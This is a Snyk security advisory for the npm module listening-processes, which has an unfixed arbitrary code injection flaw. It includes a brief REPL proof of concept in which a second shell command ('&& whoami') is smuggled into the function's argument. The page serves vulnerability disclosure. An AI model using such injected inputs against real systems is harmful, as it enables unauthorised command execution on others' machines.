Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Arbitrary Code Injection vulnerabilities in an interactive lesson.
Start learningThere is no fixed version for listening-processes
.
listening-processes is a simple NPM module for retrieving pertinent info on processes which are listening on local ports, and for killing those processes using shell commands in the background.
Affected versions of this package are vulnerable to Arbitrary Code Injection. An attacker can execute arbitrary commands by escaping the binaries used by the module since it uses bash commands.
$ node
> const processes = require('listening-processes')
> processes(`'Python && whoami >> hh;'`)
/bin/sh: \s.*:[0-9]* (LISTEN): command not found
{ Python:
[ { command: 'Python',
pid: '14720',
port: '8000',
invokingCommand:
'/usr/local/Cellar/python/3.7.0/Frameworks/Python.framework/Versions/3.7/Resources/Python.app/Contents/MacOS/Python -m http.server' } ] }